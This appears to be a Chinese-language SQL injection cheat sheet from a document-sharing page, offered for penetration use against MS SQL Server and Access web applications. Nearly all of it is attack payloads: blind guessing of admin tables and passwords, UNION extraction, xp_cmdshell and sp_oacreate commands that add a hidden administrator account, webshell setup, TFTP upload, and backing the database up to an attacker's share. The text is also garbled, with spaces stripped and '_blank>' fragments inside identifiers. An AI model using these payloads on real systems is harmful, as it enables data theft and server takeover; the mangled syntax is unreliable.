渗透常用SQL注入语句大全
- 格式:docx
- 大小:36.22 KB
- 文档页数:8
1.判断有无注入点
;and1=1and1=2
2.猜表一般的表的名称无非是adminadminuseruserpasspassword等..
and0<>(selectcount(*)from*)
and0<>(selectcount(*)fromadmin)—判断是否存在admin这张表
3.猜帐号数目如果遇到0<返回正确页面1<返回错误页面说明帐号数目就是1个
and0<(selectcount(*)fromadmin)
and1<(selectcount(*)fromadmin)
4.猜解字段名称在len()括号里面加上我们想到的字段名称.
1
2
3 and1=(selectcount(*)fromadminwherelen(*)>0)–
and1=(selectcount(*)fromadminwherelen(用户字段名称name)>0)
and1=(selectcount(*)fromadminwherelen(_blank>密码字段名称password)>0)
5.猜解各个字段的长度猜解长度就是把>0变换直到返回正确页面为止
1
2
3
4
5
6
7
8 and1=(selectcount(*)fromadminwherelen(*)>0)
and1=(selectcount(*)fromadminwherelen(name)>6)错误
and1=(selectcount(*)fromadminwherelen(name)>5)正确长度是6
and1=(selectcount(*)fromadminwherelen(name)=6)正确
and1=(selectcount(*)fromadminwherelen(password)>11)正确
and1=(selectcount(*)fromadminwherelen(password)>12)错误长度是12
and1=(selectcount(*)fromadminwherelen(password)=12)正确
6.猜解字符
and1=(selectcount(*)fromadminwhereleft(name,1)=a)—猜解用户帐号的第一位
and1=(selectcount(*)fromadminwhereleft(name,2)=ab)—猜解用户帐号的第二位
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了 and1=(selecttop1count(*)fromAdminwhereAsc(mid(pass,5,1))=51)–
这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.
1
2
3
4
5
6
7
8
9 =1
,,,=1–
;insertintousersvalues(666,attacker,foobar,0xffff)–
UNIONSelectTOP1COLUMN_blank>_NAMEFROMINFORMATION_blank>>_NAME=logintable-
UNIONSelectTOP1COLUMN_blank>_NAMEFROMINFORMATION_blank>>_NAME=logintableWhereCOLUMN_blank>_NAMENOTIN(login_blank>_id)-
UNIONSelectTOP1COLUMN_blank>_NAMEFROMINFORMATION_blank>>_NAME=logintableWhereCOLUMN_blank>_NAMENOTIN(login_blank>_id,login_blank>_name)-
UNIONSelectTOP1login_blank>_nameFROMlogintable-
UNIONSelectTOP1passwordFROMlogintablewherelogin_blank>_name=Rahul–
看_blank>服务器打的补丁=出错了打了SP4补丁
and1=(select@@VERSION)–
看_blank>数据库连接账号的权限,返回正常,证明是_blank>服务器角色sysadmin权限。
and1=(SelectIS_blank>_SRVROLEMEMBER(sysadmin))–
判断连接_blank>数据库帐号。(采用SA账号连接返回正常=证明了连接账号是SA)
1
2
3 andsa=(SelectSystem_blank>_user)–
anduser_blank>_name()=dbo–
and0<>(selectuser_blank>_name()–
看xp_blank>_cmdshell是否删除
and1=(Selectcount(*)FROMWherextype=XANDname=xp_blank>_cmdshell)–
xp_blank>_cmdshell被删除,恢复,支持绝对路径的恢复
;EXECxp_blank>_cmdshell,–
;EXECxp_blank>_cmdshell,c:\inetpub\wwwroot\–
反向PING自己实验 ;usemaster;declare@sint;execsp_blank>_oacreate“”,@sout;execsp_blank>_oamethod@s,”run”,NULL,”cping
加帐号
;DECLARE@shellINTEXECSP_blank>,@shellOUTPUTEXECSP_blank>_OAMETHOD@shell,run,null,C:\WINNT\system32\cnetuserjiaoniang$1866574/add–
创建一个虚拟目录E盘:
;declare@ointexecsp_blank>,@ooutexecsp_blank>_oamethod@o,run,NULL,:\inetpub\wwwroot\“默认Web站点”-v“e”,”e:\”–
访问属性:(配合写入一个webshell)
declare@ointexecsp_blank>,@ooutexecsp_blank>_oamethod@o,run,NULL,:\inetpub\wwwroot\1/ROOT/e+browse
爆库特殊_blank>技巧::%5c=\或者把/和\修改%5提交
and0<>(selecttop1pathsfromnewtable)–
得到库名(从1到5都是系统的id,6以上才可以判断)
and1=(selectnamefromwheredbid=7)–
and0<>(selectcount(*)fromwherename>1anddbid=6)
依次提交dbid=7,8,9….得到更多的_blank>数据库名
1
2
3
4
5
6
7
8
9 and0<>(selecttop1namefromwherextype=U)暴到一个表假设为admin
and0<>(selecttop1namefromwherextype=Uandnamenotin(Admin))来得到其他的表。
and0<>(selectcount(*)fromwherextype=Uandname=admin
anduid>(str(id)))暴到UID的数值假设为uid=id
and0<>(selecttop1namefromwhereid=)得到一个admin的一个字段,假设为user_blank>_id
and0<>(selecttop1namefromwhereid=andnamenotin
(id,…))来暴出其他的字段
and0<(selectuser_blank>_idfromwhereusername>1)可以得到用户名
依次可以得到_blank>密码。。。。。假设存在user_blank>_idusername,password等字段
1
2
3
4 and0<>(selectcount(*)fromwherename>1anddbid=6)
and0<>(selecttop1namefromwherextype=U)得到表名
and0<>(selecttop1namefromwherextype=Uandnamenotin(Address))
and0<>(selectcount(*)fromwherextype=Uandname=adminanduid>(str(id)))判断5
6
7
8 id值
and0<>(selecttop1namefromwhereid=)所有字段
id=-1unionselect1,2,3,4,5,6,7,8,9,10,11,12,13,*fromadmin
id=-1unionselect1,2,3,4,5,6,7,8,*,9,10,11,12,13fromadmin(union,access也好用)
得到WEB路径
1
2
3
4
5 ;createtable[dbo].[swap]([swappass][char](255));–
and(selecttop1swappassfromswap)=1–
;CreateTABLEnewtable(idintIDENTITY(1,1),pathsvarchar(500))Declare@testvarchar(20)execmaster..xp_blank>_regread@rootkey=HKEY_blank>_LOCAL_blank>_MACHINE,@key=SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\VirtualRoots\,@value_blank>_name=/,values=@testOUTPUTinsertintopaths(path)values(@test)–
;useku1;–
;createtablecmd(strimage);–建立image类型的表cmd
存在xp_blank>_cmdshell的测试过程:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15 ;execmaster..xp_blank>_cmdshelldir
;execjiaoniang$;–加SQL帐号
;execnull,jiaoniang$,1866574;–
;execjiaoniang$sysadmin;–
;execnetuserjiaoniang$1866574/workstations:*/times:all/passwordchg:yes/passwordreq:yes/active:yes/add;–
;execnetlocalgroupadministratorsjiaoniang$/add;–
execmaster..xp_blank>_servicecontrolstart,schedule启动_blank>服务
execmaster..xp_blank>_servicecontrolstart,server
;DECLARE@shellINTEXECSP_blank>,@shellOUTPUTEXECSP_blank>_OAMETHOD@shell,run,null,C:\WINNT\system32\cnetuserjiaoniang$1866574/add
;DECLARE@shellINTEXECSP_blank>,@shellOUTPUTEXECSP_blank>_OAMETHOD@shell,run,null,C:\WINNT\system32\cnetlocalgroupadministratorsjiaoniang$/add
;execmaster..xp_blank>–利用TFTP上传文件
;declare@asysnameset@a=xp_blank>_+cmdshellexec@adirc:\
;declare@asysnameset@a=xp+_blank>_cm’+’dshellexec@adirc:\
;declare@a;set@a=db_blank>_name();backupdatabase@atodisk=你的IP你的共享目录
如果被限制则可以。
select*fromopenrowset(_blank>sqloledb,server;sa;,selectOK!exechax)